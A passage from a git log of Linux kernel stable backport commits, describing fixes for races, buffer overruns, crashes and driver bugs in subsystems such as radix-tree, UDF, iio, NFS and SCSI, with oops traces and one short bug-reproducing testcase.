index. In following radix_tree_next_slot current chunk size becomes zero. This isn't checked and it tries to dereference null pointer in slot. Tagged iterator is fine because retry happens only at slot 0 where tag bitmask in iter->tags is filled with single bit. Fixes: 46437f9a554f ("radix-tree: fix race in gang lookup") Signed-off-by: Konstantin Khlebnikov Cc: Matthew Wilcox Cc: Hugh Dickins Cc: Ohad Ben-Cohen Cc: Jeremiah Mahler Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0bd1328c55bdd0e7a254271670156ee81374f4e9 Author: Matthew Wilcox Date: Tue Feb 2 16:57:52 2016 -0800 radix-tree: fix race in gang lookup commit 46437f9a554fbe3e110580ca08ab703b59f2f95a upstream. If the indirect_ptr bit is set on a slot, that indicates we need to redo the lookup. Introduce a new function radix_tree_iter_retry() which forces the loop to retry the lookup by setting 'slot' to NULL and turning the iterator back to point at the problematic entry. This is a pretty rare problem to hit at the moment; the lookup has to race with a grow of the radix tree from a height of 0. The consequences of hitting this race are that gang lookup could return a pointer to a radix_tree_node instead of a pointer to whatever the user had inserted in the tree. Fixes: cebbd29e1c2f ("radix-tree: rewrite gang lookup using iterator") Signed-off-by: Matthew Wilcox Cc: Hugh Dickins Cc: Ohad Ben-Cohen Cc: Konstantin Khlebnikov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 835f808991ddfd644023d97bbf914b85f49528fd Author: Martijn Coenen Date: Fri Jan 15 16:57:49 2016 -0800 memcg: only free spare array when readers are done commit 6611d8d76132f86faa501de9451a89bf23fb2371 upstream. A spare array holding mem cgroup threshold events is kept around to make sure we can always safely deregister an event and have an array to store the new set of events in. In the scenario where we're going from 1 to 0 registered events, the pointer to the primary array containing 1 event is copied to the spare slot, and then the spare slot is freed because no events are left. However, it is freed before calling synchronize_rcu(), which means readers may still be accessing threshold->primary after it is freed. Fixed by only freeing after synchronize_rcu(). Signed-off-by: Martijn Coenen Cc: Johannes Weiner Acked-by: Michal Hocko Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7d538afd3a2d9b06379cb1e83284a2b7322a40bf Author: Sergey Senozhatsky Date: Thu Jan 14 15:16:53 2016 -0800 scripts/bloat-o-meter: fix python3 syntax error commit 72214a24a7677d4c7501eecc9517ed681b5f2db2 upstream. In Python3+ print is a function so the old syntax is not correct anymore: $ ./scripts/bloat-o-meter vmlinux.o vmlinux.o.old File "./scripts/bloat-o-meter", line 61 print "add/remove: %s/%s grow/shrink: %s/%s up/down: %s/%s (%s)" % \ ^ SyntaxError: invalid syntax Fix by calling print as a function. Tested on python 2.7.11, 3.5.1 Signed-off-by: Sergey Senozhatsky Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 68314dfda8ecd887bd535bcfb40d8a88f0f2cf6c Author: Laura Abbott Date: Thu Jan 14 15:16:50 2016 -0800 dma-debug: switch check from _text to _stext commit ea535e418c01837d07b6c94e817540f50bfdadb0 upstream. In include/asm-generic/sections.h: /* * Usage guidelines: * _text, _data: architecture specific, don't use them in * arch-independent code * [_stext, _etext]: contains .text.* sections, may also contain * .rodata.* * and/or .init.* sections _text is not guaranteed across architectures. Architectures such as ARM may reuse parts which are not actually text and erroneously trigger a bug. Switch to using _stext which is guaranteed to contain text sections. Came out of https://lkml.kernel.org/g/<567B1176.4000106@redhat.com> Signed-off-by: Laura Abbott Reviewed-by: Kees Cook Cc: Russell King Cc: Arnd Bergmann Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da2f006bfa3873f271d97706cd0b9994eb620975 Author: Sudip Mukherjee Date: Thu Jan 14 15:16:47 2016 -0800 m32r: fix m32104ut_defconfig build fail commit 601f1db653217f205ffa5fb33514b4e1711e56d1 upstream. The build of m32104ut_defconfig for m32r arch was failing for long long time with the error: ERROR: "memory_start" [fs/udf/udf.ko] undefined! ERROR: "memory_end" [fs/udf/udf.ko] undefined! ERROR: "memory_end" [drivers/scsi/sg.ko] undefined! ERROR: "memory_start" [drivers/scsi/sg.ko] undefined! ERROR: "memory_end" [drivers/i2c/i2c-dev.ko] undefined! ERROR: "memory_start" [drivers/i2c/i2c-dev.ko] undefined! As done in other architectures export the symbols to fix the error. Reported-by: Fengguang Wu Signed-off-by: Sudip Mukherjee Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 200ee9bb69a0b65b5070f4766667d3cf859d6b0a Author: Mathias Nyman Date: Tue Jan 26 17:50:12 2016 +0200 xhci: Fix list corruption in urb dequeue at host removal commit 5c82171167adb8e4ac77b91a42cd49fb211a81a0 upstream. xhci driver frees data for all devices, both usb2 and and usb3 the first time usb_remove_hcd() is called, including td_list and and xhci_ring structures. When usb_remove_hcd() is called a second time for the second xhci bus it will try to dequeue all pending urbs, and touches td_list which is already freed for that endpoint. Reported-by: Joe Lawrence Tested-by: Joe Lawrence Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 86aa0672c0286e97a9fd6da32ea423896e989ca6 Author: Andrew Banman Date: Tue Dec 29 14:54:25 2015 -0800 mm/memory_hotplug.c: check for missing sections in test_pages_in_a_zone() commit 5f0f2887f4de9508dcf438deab28f1de8070c271 upstream. test_pages_in_a_zone() does not account for the possibility of missing sections in the given pfn range. pfn_valid_within always returns 1 when CONFIG_HOLES_IN_ZONE is not set, allowing invalid pfns from missing sections to pass the test, leading to a kernel oops. Wrap an additional pfn loop with PAGES_PER_SECTION granularity to check for missing sections before proceeding into the zone-check code. This also prevents a crash from offlining memory devices with missing sections. Despite this, it may be a good idea to keep the related patch '[PATCH 3/3] drivers: memory: prohibit offlining of memory blocks with missing sections' because missing sections in a memory block may lead to other problems not covered by the scope of this fix. Signed-off-by: Andrew Banman Acked-by: Alex Thorlton Cc: Russ Anderson Cc: Alex Thorlton Cc: Yinghai Lu Cc: Greg KH Cc: Seth Jennings Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fe32b149aef76383a178094a6febaae28ee6a5d7 Author: CQ Tang Date: Wed Jan 13 21:15:03 2016 +0000 iommu/vt-d: Fix 64-bit accesses to 32-bit DMAR_GSTS_REG commit fda3bec12d0979aae3f02ee645913d66fbc8a26e upstream. This is a 32-bit register. Apparently harmless on real hardware, but causing justified warnings in simulation. Signed-off-by: CQ Tang Signed-off-by: David Woodhouse Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95e61f03057c68b9658003ed3d23cd56b522b5c4 Author: Aurélien Francillon Date: Sat Jan 2 20:39:54 2016 -0800 Input: i8042 - add Fujitsu Lifebook U745 to the nomux list commit dd0d0d4de582a6a61c032332c91f4f4cb2bab569 upstream. Without i8042.nomux=1 the Elantech touch pad is not working at all on a Fujitsu Lifebook U745. This patch does not seem necessary for all U745 (maybe because of different BIOS versions?). However, it was verified that the patch does not break those (see opensuse bug 883192: https://bugzilla.opensuse.org/show_bug.cgi?id=883192). Signed-off-by: Aurélien Francillon Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa5d825654f342663d286cb68ecfd704a4ec6234 Author: Benjamin Tissoires Date: Mon Jan 11 17:35:38 2016 -0800 Input: elantech - mark protocols v2 and v3 as semi-mt commit 6544a1df11c48c8413071aac3316792e4678fbfb upstream. When using a protocol v2 or v3 hardware, elantech uses the function elantech_report_semi_mt_data() to report data. This devices are rather creepy because if num_finger is 3, (x2,y2) is (0,0). Yes, only one valid touch is reported. Anyway, userspace (libinput) is now confused by these (0,0) touches, and detect them as palm, and rejects them. Commit 3c0213d17a09 ("Input: elantech - fix semi-mt protocol for v3 HW") was sufficient enough for xf86-input-synaptics and libinput before it has palm rejection. Now we need to actually tell libinput that this device is a semi-mt one and it should not rely on the actual values of the 2 touches. Signed-off-by: Benjamin Tissoires Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9b9bc089a967fffca8d58c20bcaa80c7de88100c Author: Takashi Iwai Date: Fri Nov 6 11:26:01 2015 -0800 Input: elantech - add Fujitsu Lifebook U745 to force crc_enabled commit 60603950f836ef4e88daddf61a273b91e671db2d upstream. Another Lifebook machine that needs the same quirk as other similar models to make the driver working. Bugzilla: https://bugzilla.opensuse.org/show_bug.cgi?id=883192 Signed-off-by: Takashi Iwai Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df0547a8a99783a159ed5b291c8fafa69448b2b3 Author: Naoya Horiguchi Date: Fri Jan 15 16:54:03 2016 -0800 mm: soft-offline: check return value in second __get_any_page() call commit d96b339f453997f2f08c52da3f41423be48c978f upstream. I saw the following BUG_ON triggered in a testcase where a process calls madvise(MADV_SOFT_OFFLINE) on thps, along with a background process that calls migratepages command repeatedly (doing ping-pong among different NUMA nodes) for the first process: Soft offlining page 0x60000 at 0x700000600000 __get_any_page: 0x60000 free buddy page page:ffffea0001800000 count:0 mapcount:-127 mapping: (null) index:0x1 flags: 0x1fffc0000000000() page dumped because: VM_BUG_ON_PAGE(atomic_read(&page->_count) == 0) ------------[ cut here ]------------ kernel BUG at /src/linux-dev/include/linux/mm.h:342! invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC Modules linked in: cfg80211 rfkill crc32c_intel serio_raw virtio_balloon i2c_piix4 virtio_blk virtio_net ata_generic pata_acpi CPU: 3 PID: 3035 Comm: test_alloc_gene Tainted: G O 4.4.0-rc8-v4.4-rc8-160107-1501-00000-rc8+ #74 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 task: ffff88007c63d5c0 ti: ffff88007c210000 task.ti: ffff88007c210000 RIP: 0010:[] [] put_page+0x5c/0x60 RSP: 0018:ffff88007c213e00 EFLAGS: 00010246 Call Trace: put_hwpoison_page+0x4e/0x80 soft_offline_page+0x501/0x520 SyS_madvise+0x6bc/0x6f0 entry_SYSCALL_64_fastpath+0x12/0x6a Code: 8b fc ff ff 5b 5d c3 48 89 df e8 b0 fa ff ff 48 89 df 31 f6 e8 c6 7d ff ff 5b 5d c3 48 c7 c6 08 54 a2 81 48 89 df e8 a4 c5 01 00 <0f> 0b 66 90 66 66 66 66 90 55 48 89 e5 41 55 41 54 53 48 8b 47 RIP [] put_page+0x5c/0x60 RSP The root cause resides in get_any_page() which retries to get a refcount of the page to be soft-offlined. This function calls put_hwpoison_page(), expecting that the target page is putback to LRU list. But it can be also freed to buddy. So the second check need to care about such case. Fixes: af8fae7c0886 ("mm/memory-failure.c: clean up soft_offline_page()") Signed-off-by: Naoya Horiguchi Cc: Sasha Levin Cc: Aneesh Kumar K.V Cc: Vlastimil Babka Cc: Jerome Marchand Cc: Andrea Arcangeli Cc: Hugh Dickins Cc: Dave Hansen Cc: Mel Gorman Cc: Rik van Riel Cc: Steve Capper Cc: Johannes Weiner Cc: Michal Hocko Cc: Christoph Lameter Cc: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de23abbf6d1752a344bf1ae9b0934c77a0fcad47 Author: Linus Walleij Date: Mon Feb 8 09:14:37 2016 +0100 ARM: 8517/1: ICST: avoid arithmetic overflow in icst_hz() commit 5070fb14a0154f075c8b418e5bc58a620ae85a45 upstream. When trying to set the ICST 307 clock to 25174000 Hz I ran into this arithmetic error: the icst_hz_to_vco() correctly figure out DIVIDE=2, RDW=100 and VDW=99 yielding a frequency of 25174000 Hz out of the VCO. (I replicated the icst_hz() function in a spreadsheet to verify this.) However, when I called icst_hz() on these VCO settings it would instead return 4122709 Hz. This causes an error in the common clock driver for ICST as the common clock framework will call .round_rate() on the clock which will utilize icst_hz_to_vco() followed by icst_hz() suggesting the erroneous frequency, and then the clock gets set to this. The error did not manifest in the old clock framework since this high frequency was only used by the CLCD, which calls clk_set_rate() without first calling clk_round_rate() and since the old clock framework would not call clk_round_rate() before setting the frequency, the correct values propagated into the VCO. After some experimenting I figured out that it was due to a simple arithmetic overflow: the divisor for 24Mhz reference frequency as reference becomes 24000000*2*(99+8)=0x132212400 and the "1" in bit 32 overflows and is lost. But introducing an explicit 64-by-32 bit do_div() and casting the divisor into (u64) we get the right frequency back, and the right frequency gets set. Tested on the ARM Versatile. Cc: linux-clk@vger.kernel.org Cc: Pawel Moll Signed-off-by: Linus Walleij Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8a853e6ca8b2524da0b403f6d7d09829bbeca10c Author: Linus Walleij Date: Wed Feb 10 09:25:17 2016 +0100 ARM: 8519/1: ICST: try other dividends than 1 commit e972c37459c813190461dabfeaac228e00aae259 upstream. Since the dawn of time the ICST code has only supported divide by one or hang in an eternal loop. Luckily we were always dividing by one because the reference frequency for the systems using the ICSTs is 24MHz and the [min,max] values for the PLL input if [10,320] MHz for ICST307 and [6,200] for ICST525, so the loop will always terminate immediately without assigning any divisor for the reference frequency. But for the code to make sense, let's insert the missing i++ Reported-by: David Binderman Signed-off-by: Linus Walleij Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f26fee8ad4f58a8c02282d09e28f78b1426e743 Author: Andrew Gabbasov Date: Thu Dec 24 10:25:33 2015 -0600 udf: Check output buffer length when converting name to CS0 commit bb00c898ad1ce40c4bb422a8207ae562e9aea7ae upstream. If a name contains at least some characters with Unicode values exceeding single byte, the CS0 output should have 2 bytes per character. And if other input characters have single byte Unicode values, then the single input byte is converted to 2 output bytes, and the length of output becomes larger than the length of input. And if the input name is long enough, the output length may exceed the allocated buffer length. All this means that conversion from UTF8 or NLS to CS0 requires checking of output length in order to stop when it exceeds the given output buffer size. [JK: Make code return -ENAMETOOLONG instead of silently truncating the name] Signed-off-by: Andrew Gabbasov Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c965e72eb5cecab345ad7e276b7d0168cd90ef9 Author: Andrew Gabbasov Date: Thu Dec 24 10:25:32 2015 -0600 udf: Prevent buffer overrun with multi-byte characters commit ad402b265ecf6fa22d04043b41444cdfcdf4f52d upstream. udf_CS0toUTF8 function stops the conversion when the output buffer length reaches UDF_NAME_LEN-2, which is correct maximum name length, but, when checking, it leaves the space for a single byte only, while multi-bytes output characters can take more space, causing buffer overflow. Similar error exists in udf_CS0toNLS function, that restricts the output length to UDF_NAME_LEN, while actual maximum allowed length is UDF_NAME_LEN-2. In these cases the output can override not only the current buffer length field, causing corruption of the name buffer itself, but also following allocation structures, causing kernel crash. Adjust the output length checks in both functions to prevent buffer overruns in case of multi-bytes UTF8 or NLS characters. Signed-off-by: Andrew Gabbasov Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1778b8fca858a66fecffd9ebca56ad151ccf4102 Author: Vegard Nossum Date: Fri Dec 11 15:54:16 2015 +0100 udf: limit the maximum number of indirect extents in a row commit b0918d9f476a8434b055e362b83fa4fd1d462c3f upstream. udf_next_aext() just follows extent pointers while extents are marked as indirect. This can loop forever for corrupted filesystem. Limit number the of indirect extents we are willing to follow in a row. [JK: Updated changelog, limit, style] Signed-off-by: Vegard Nossum Cc: Jan Kara Cc: Quentin Casasnovas Cc: Andrew Morton Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f3c044aa2504d66ed29857c838f1ee1247160511 Author: Andrew Elble Date: Wed Dec 2 09:20:57 2015 -0500 nfs: Fix race in __update_open_stateid() commit 361cad3c89070aeb37560860ea8bfc092d545adc upstream. We've seen this in a packet capture - I've intermixed what I think was going on. The fix here is to grab the so_lock sooner. 1964379 -> #1 open (for write) reply seqid=1 1964393 -> #2 open (for read) reply seqid=2 __nfs4_close(), state->n_wronly-- nfs4_state_set_mode_locked(), changes state->state = [R] state->flags is [RW] state->state is [R], state->n_wronly == 0, state->n_rdonly == 1 1964398 -> #3 open (for write) call -> because close is already running 1964399 -> downgrade (to read) call seqid=2 (close of #1) 1964402 -> #3 open (for write) reply seqid=3 __update_open_stateid() nfs_set_open_stateid_locked(), changes state->flags state->flags is [RW] state->state is [R], state->n_wronly == 0, state->n_rdonly == 1 new sequence number is exposed now via nfs4_stateid_copy() next step would be update_open_stateflags(), pending so_lock 1964403 -> downgrade reply seqid=2, fails with OLD_STATEID (close of #1) nfs4_close_prepare() gets so_lock and recalcs flags -> send close 1964405 -> downgrade (to read) call seqid=3 (close of #1 retry) __update_open_stateid() gets so_lock * update_open_stateflags() updates state->n_wronly. nfs4_state_set_mode_locked() updates state->state state->flags is [RW] state->state is [RW], state->n_wronly == 1, state->n_rdonly == 1 * should have suppressed the preceding nfs4_close_prepare() from sending open_downgrade 1964406 -> write call 1964408 -> downgrade (to read) reply seqid=4 (close of #1 retry) nfs_clear_open_stateid_locked() state->flags is [R] state->state is [RW], state->n_wronly == 1, state->n_rdonly == 1 1964409 -> write reply (fails, openmode) Signed-off-by: Andrew Elble Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 94a34be1c0d365fa5222a16e44424e8057d83983 Author: Anton Protopopov Date: Wed Feb 10 12:50:21 2016 -0500 cifs: fix erroneous return value commit 4b550af519854421dfec9f7732cdddeb057134b2 upstream. The setup_ntlmv2_rsp() function may return positive value ENOMEM instead of -ENOMEM in case of kmalloc failure. Signed-off-by: Anton Protopopov Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 954365e31a6e8198f791ec379c790ab16f126c67 Author: Yong Li Date: Wed Jan 6 09:09:43 2016 +0800 iio: dac: mcp4725: set iio name property in sysfs commit 97a249e98a72d6b79fb7350a8dd56b147e9d5bdb upstream. Without this change, the name entity for mcp4725 is missing in /sys/bus/iio/devices/iio\:device*/name With this change, name is reported correctly Signed-off-by: Yong Li Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42e89b7805bb4fca605da373c4886e4212069614 Author: Lars-Peter Clausen Date: Fri Nov 27 14:55:56 2015 +0100 iio: adis_buffer: Fix out-of-bounds memory access commit d590faf9e8f8509a0a0aa79c38e87fcc6b913248 upstream. The SPI tx and rx buffers are both supposed to be scan_bytes amount of bytes large and a common allocation is used to allocate both buffers. This puts the beginning of the tx buffer scan_bytes bytes after the rx buffer. The initialization of the tx buffer pointer is done adding scan_bytes to the beginning of the rx buffer, but since the rx buffer is of type __be16 this will actually add two times as much and the tx buffer ends up pointing after the allocated buffer. Fix this by using scan_count, which is scan_bytes / 2, instead of scan_bytes when initializing the tx buffer pointer. Fixes: aacff892cbd5 ("staging:iio:adis: Preallocate transfer message") Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 002c9ddc4cb6d83ab2bc3205f2ff16bec0c17ac7 Author: Michael Hennerich Date: Tue Oct 13 18:15:37 2015 +0200 iio:ad5064: Make sure ad5064_i2c_write() returns 0 on success commit 03fe472ef33b7f31fbd11d300dbb3fdab9c00fd4 upstream. i2c_master_send() returns the number of bytes transferred on success while the ad5064 driver expects that the write() callback returns 0 on success. Fix that by translating any non negative return value of i2c_master_send() to 0. Fixes: commit 6a17a0768f77 ("iio:dac:ad5064: Add support for the ad5629r and ad5669r") Signed-off-by: Michael Hennerich Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9dafd6f7b594ce3890a0d99fa77ad97d4158963d Author: Vladimir Zapolskiy Date: Sat Oct 17 21:44:38 2015 +0300 iio: lpc32xx_adc: fix warnings caused by enabling unprepared clock commit 01bb70ae0b98d266fa3e860482c7ce22fa482a6e upstream. If common clock framework is configured, the driver generates a warning, which is fixed by this change: root@devkit3250:~# cat /sys/bus/iio/devices/iio\:device0/in_voltage0_raw ------------[ cut here ]------------ WARNING: CPU: 0 PID: 724 at drivers/clk/clk.c:727 clk_core_enable+0x2c/0xa4() Modules linked in: sc16is7xx snd_soc_uda1380 CPU: 0 PID: 724 Comm: cat Not tainted 4.3.0-rc2+ #198 Hardware name: LPC32XX SoC (Flattened Device Tree) Backtrace: [<>] (dump_backtrace) from [<>] (show_stack+0x18/0x1c) [<>] (show_stack) from [<>] (dump_stack+0x20/0x28) [<>] (dump_stack) from [<>] (warn_slowpath_common+0x90/0xb8) [<>] (warn_slowpath_common) from [<>] (warn_slowpath_null+0x24/0x2c) [<>] (warn_slowpath_null) from [<>] (clk_core_enable+0x2c/0xa4) [<>] (clk_core_enable) from [<>] (clk_enable+0x24/0x38) [<>] (clk_enable) from [<>] (lpc32xx_read_raw+0x38/0x80) [<>] (lpc32xx_read_raw) from [<>] (iio_read_channel_info+0x70/0x94) [<>] (iio_read_channel_info) from [<>] (dev_attr_show+0x28/0x4c) [<>] (dev_attr_show) from [<>] (sysfs_kf_seq_show+0x8c/0xf0) [<>] (sysfs_kf_seq_show) from [<>] (kernfs_seq_show+0x2c/0x30) [<>] (kernfs_seq_show) from [<>] (seq_read+0x1c8/0x440) [<>] (seq_read) from [<>] (kernfs_fop_read+0x38/0x170) [<>] (kernfs_fop_read) from [<>] (do_readv_writev+0x16c/0x238) [<>] (do_readv_writev) from [<>] (vfs_readv+0x50/0x58) [<>] (vfs_readv) from [<>] (default_file_splice_read+0x1a4/0x308) [<>] (default_file_splice_read) from [<>] (do_splice_to+0x78/0x84) [<>] (do_splice_to) from [<>] (splice_direct_to_actor+0xc8/0x1cc) [<>] (splice_direct_to_actor) from [<>] (do_splice_direct+0xa0/0xb8) [<>] (do_splice_direct) from [<>] (do_sendfile+0x1a8/0x30c) [<>] (do_sendfile) from [<>] (SyS_sendfile64+0x104/0x10c) [<>] (SyS_sendfile64) from [<>] (ret_fast_syscall+0x0/0x38) Signed-off-by: Vladimir Zapolskiy Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 26f66f521f9006f1c2aaeaeb40e34e2cf6587466 Author: Lars-Peter Clausen Date: Mon Oct 12 14:56:28 2015 +0200 iio:ad7793: Fix ad7785 product ID commit 785171fd6cd7dcd7ada5a733b6a2d44ec566c3a0 upstream. While the datasheet for the AD7785 lists 0xXB as the product ID the actual product ID is 0xX3. Fix the product ID otherwise the driver will reject the device due to non matching IDs. Fixes: e786cc26dcc5 ("staging:iio:ad7793: Implement stricter id checking") Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0bc63114b069680e955b52fd3e12f5a38d4229e2 Author: James Bottomley Date: Wed Feb 10 08:03:26 2016 -0800 scsi: fix soft lockup in scsi_remove_target() on module removal commit 90a88d6ef88edcfc4f644dddc7eef4ea41bccf8b upstream. This softlockup is currently happening: [ 444.088002] NMI watchdog: BUG: soft lockup - CPU#1 stuck for 22s! [kworker/1:1:29] [ 444.088002] Modules linked in: lpfc(-) qla2x00tgt(O) qla2xxx_scst(O) scst_vdisk(O) scsi_transport_fc libcrc32c scst(O) dlm configfs nfsd lockd grace nfs_acl auth_rpcgss sunrpc ed d snd_pcm_oss snd_mixer_oss snd_seq snd_seq_device dm_mod iTCO_wdt snd_hda_codec_realtek snd_hda_codec_generic gpio_ich iTCO_vendor_support ppdev snd_hda_intel snd_hda_codec snd_hda _core snd_hwdep tg3 snd_pcm snd_timer libphy lpc_ich parport_pc ptp acpi_cpufreq snd pps_core fjes parport i2c_i801 ehci_pci tpm_tis tpm sr_mod cdrom soundcore floppy hwmon sg 8250_ fintek pcspkr i915 drm_kms_helper uhci_hcd ehci_hcd drm fb_sys_fops sysimgblt sysfillrect syscopyarea i2c_algo_bit usbcore button video usb_common fan ata_generic ata_piix libata th ermal [ 444.088002] CPU: 1 PID: 29 Comm: kworker/1:1 Tainted: G O 4.4.0-rc5-2.g1e923a3-default #1 [ 444.088002] Hardware name: FUJITSU SIEMENS ESPRIMO E /D2164-A1, BIOS 5.00 R1.10.2164.A1 05/08/2006 [ 444.088002] Workqueue: fc_wq_4 fc_rport_final_delete [scsi_transport_fc] [ 444.088002] task: f6266ec0 ti: f6268000 task.ti: f6268000 [ 444.088002] EIP: 0060:[] EFLAGS: 00000286 CPU: 1 [ 444.088002] EIP is at _raw_spin_unlock_irqrestore+0x14/0x20 [ 444.088002] EAX: 00000286 EBX: f20d3800 ECX: 00000002 EDX: 00000286 [ 444.088002] ESI: f50ba800 EDI: f2146848 EBP: f6269ec8 ESP: f6269ec8 [ 444.088002] DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068 [ 444.088002] CR0: 8005003b CR2: 08f96600 CR3: 363ae000 CR4: 000006d0 [ 444.088002] Stack: [ 444.088002] f6269eec c066b0f7 00000286 f2146848 f50ba808 f50ba800 f50ba800 f2146a90 [ 444.088002] f2146848 f6269f08 f8f0a4ed f3141000 f2146800 f2146a90 f619fa00 00000040 [ 444.088002] f6269f40 c026cb25 00000001 166c6392 00000061 f6757140 f6136340 00000004 [ 444.088002] Call Trace: [ 444.088002] [] scsi_remove_target+0x167/0x1c0 [ 444.088002] [] fc_rport_final_delete+0x9d/0x1e0 [scsi_transport_fc] [ 444.088002] [] process_one_work+0x155/0x3e0 [ 444.088002] [] worker_thread+0x37/0x490 [ 444.088002] [] kthread+0x9b/0xb0 [ 444.088002] [] ret_from_kernel_thread+0x21/0x40 What appears to be happening is that something has pinned the target so it can't go into STARGET_DEL via final release and the loop in scsi_remove_target spins endlessly until that happens. The fix for this soft lockup is to not keep looping over a device that we've called remove on but which hasn't gone into DEL state. This patch will retain a simplistic memory of the last target and not keep looping over it. Reported-by: Sebastian Herbszt Tested-by: Sebastian Herbszt Fixes: 40998193560dab6c3ce8d25f4fa58a23e252ef38 Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9b90aa222335ab5cd4e604fecc2754c7391043f5 Author: Hannes Reinecke Date: Fri Jan 22 15:42:41 2016 +0100 scsi_dh_rdac: always retry MODE SELECT on command lock violation commit d2d06d4fe0f2cc2df9b17fefec96e6e1a1271d91 upstream. If MODE SELECT returns with sense '05/91/36' (command lock violation) it should always be retried without counting the number of retries. During an HBA upgrade or similar circumstances one might see a flood of MODE SELECT command from various HBAs, which will easily trigger the sense code and exceed the retry count. Signed-off-by: Hannes Reinecke Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b58c80aa735f270fde2cf418fe0a243735a0388 Author: Kirill A. Shutemov Date: Tue Feb 2 16:57:35 2016 -0800 drivers/scsi/sg.c: mark VMA as VM_IO to prevent migration commit 461c7fa126794157484dca48e88effa4963e3af3 upstream. Reduced testcase: #include #include #include #include #define SIZE 0x2000 int main() { int fd; void *p; fd = open("/dev/sg0", O_RDWR); p = mmap(NULL, SIZE, PROT_EXEC, MAP_PRIVATE | MAP_LOCKED, fd, 0); mbind(p, SIZE, 0, NULL, 0, MPOL_MF_MOVE); return 0; } We shouldn't try to migrate pages in sg VMA as we don't have a way to update Sg_scatter_hold::pages accordingly from mm core. Let's mark the VMA as VM_IO to indicate to mm core that the VMA is not migratable. Signed-off-by: Kirill A. Shutemov Reported-by: Dmitry Vyukov Acked-by: Vlastimil Babka Cc: Doug Gilbert Cc: David Rientjes Cc: Naoya Horiguchi Cc: "Kirill A. Shutemov" Cc: Shiraz Hashim Cc: Hugh Dickins Cc: Sasha Levin Cc: syzkaller Cc: Kostya Serebryany Cc: Alexander Potapenko Cc: James Bottomley Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 483a563e5d6e61e68567999bc8b5a6db2a9c3102 Author: Alan Stern Date: Wed Jan 20 11:26:01 2016 -0500 SCSI: fix crashes in sd and sr runtime PM commit 13b4389143413a1f18127c07f72c74cad5b563e8 upstream. Runtime suspend during driver probe and removal can cause problems. The driver's runtime_suspend or runtime_resume callbacks may invoked before the driver has finished binding to the device or after the driver has unbound from the device. This problem shows up with the sd and sr drivers, and can cause disk or CD/DVD drives to become unusable as a result. The fix is simple. The drivers store a pointer to the scsi_disk or scsi_cd structure as their private device data when probing is finished, so we simply have to be sure to clear the private data during removal and test it during runtime suspend/resume. This fixes . Signed-off-by: Alan Stern Reported-by: Paul Menzel Reported-by: Erich Schubert Reported-by: Alexandre Rossi Tested-by: Paul Menzel Tested-by: Erich Schubert Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a24a981377c02a873a64a217df097b4dc039f7e6 Author: Nicholas Bellinger Date: Tue Jan 19 16:15:27 2016 -0800 iscsi-target: Fix potential dead-lock during node acl delete commit 26a99c19f810b2593410899a5b304b21b47428a6 upstream. This patch is a iscsi-target specific bug-fix for a dead-lock that can occur during explicit struct se_node_acl->acl_group se_session deletion via configfs rmdir(2), when iscsi-target time2retain timer is still active. It changes iscsi-target to obtain se_portal_group->session_lock internally using spin_in_locked() to check for the specific se_node_acl configfs shutdown rmdir(2) case. Note this patch is intended for stable, and the subsequent 